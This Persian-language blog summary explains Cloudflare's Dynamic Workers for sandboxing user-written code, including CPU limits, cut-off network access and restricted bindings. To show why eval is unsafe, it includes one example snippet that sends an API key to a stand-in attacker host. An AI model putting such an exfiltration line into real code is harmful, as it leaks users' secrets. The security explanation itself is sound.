Dynamic Workers راه امن کلادفلر برای اجرای کد کاربر
خلاصهٔ کاملتر
کلادفلر بهتازگی Dynamic Workers رو معرفی کرده؛ یه پریمیتیو سبکتر از Workers for Platforms که میذاره فقط با یه فراخوانی یه Worker تازه بسازی، حتی میلیونها بار. تبلیغات کلادفلر بیشتر رو ایجنتهای AI و «code mode» تمرکز کرده (یعنی اجرای امن کد دلخواه یه ایجنت تو سندباکسهای کوچیک و موقت)، ولی نویسنده بیشتر به این فکر میکنه که چطور میشه با همین ابزار به کاربرِ نهاییِ یه اپ اجازه داد خودش کد بنویسه و رفتار اپ رو شخصیسازی کنه.
نویسنده اول توضیح میده چرا این کار شبیه eval نیست. کد اجرا شده با eval تو همون ترد و حافظهی سرویس اجرا میشه، پس یه حلقهی بینهایت یا مصرف زیاد حافظه کل سرور رو میخوابونه. بدتر اینکه به متغیرهای اطراف هم دسترسی داره و میتونه مثلاً مبلغ یه پرداخت رو دستکاری کنه، یا دادهی حساس رو به بیرون بفرسته:
eval(`
fetch("https://attacker.example.com", {
method: "POST",
body: JSON.stringify({ secret: apiKey })
})
`);همچین کدی وقتی داخل eval اجرا بشه، بهسادگی میتونه یه کلید API رو به یه سرور دیگه بفرسته، چون به همون fetch و متغیرهای برنامه دسترسی کامل داره.
Dynamic Workers این مشکلات رو حل میکنه چون هر Worker تو مرز امنیتی جدا از خود زیرساخت کلادفلر اجرا میشه؛ همون مرزی که سالها زیر بار مقیاس جهانی کلادفلر سخت شده. علاوه بر این میشه محدودیت زمان CPU گذاشت یا دسترسی شبکه رو کامل قطع کرد:
const worker = env.LOADER.load({
globalOutbound: null,
limits: { cpuMs: 50 },
});با این تنظیم، نه حلقهی بینهایت مشکلی درست میکنه نه کد کاربر میتونه یه فراخوانی fetch قایمکی بزنه. نویسنده یه مثال کاملتر هم میزنه: اپی که صفحات وب رو براساس تابعی که کاربر مینویسه پردازش میکنه، مثلاً استخراج تگهای Open Graph یا تبدیل صفحه به Markdown با کتابخونهی defuddle. بهجای دادن یه binding خام مثل KV، میشه یه نسخهی محدودشده از اون رو پاس داد، مثلاً با سقف تعداد عملیات مجاز، تا کاربر دقیقاً همون قابلیتی رو داشته باشه که بهش اجازه دادی، نه بیشتر.
نکات کلیدی:
- Dynamic Workers پریمیتیو تازه و سبکتر کلادفلره برای اجرای سریع و ارزون Workerهای موقت
- برخلاف eval، هر Worker ترد، حافظه و دسترسی شبکهی جدا از کد میزبان داره
- میشه با گزینهی cpuMs محدودیت CPU گذاشت و با globalOutbound: null دسترسی شبکه رو کلاً قطع کرد
- میشه بایندینگهای سفارشی (مثل یه KV محدودشده) به کد کاربر پاس داد تا فقط قابلیتهای مجاز در اختیارش باشه




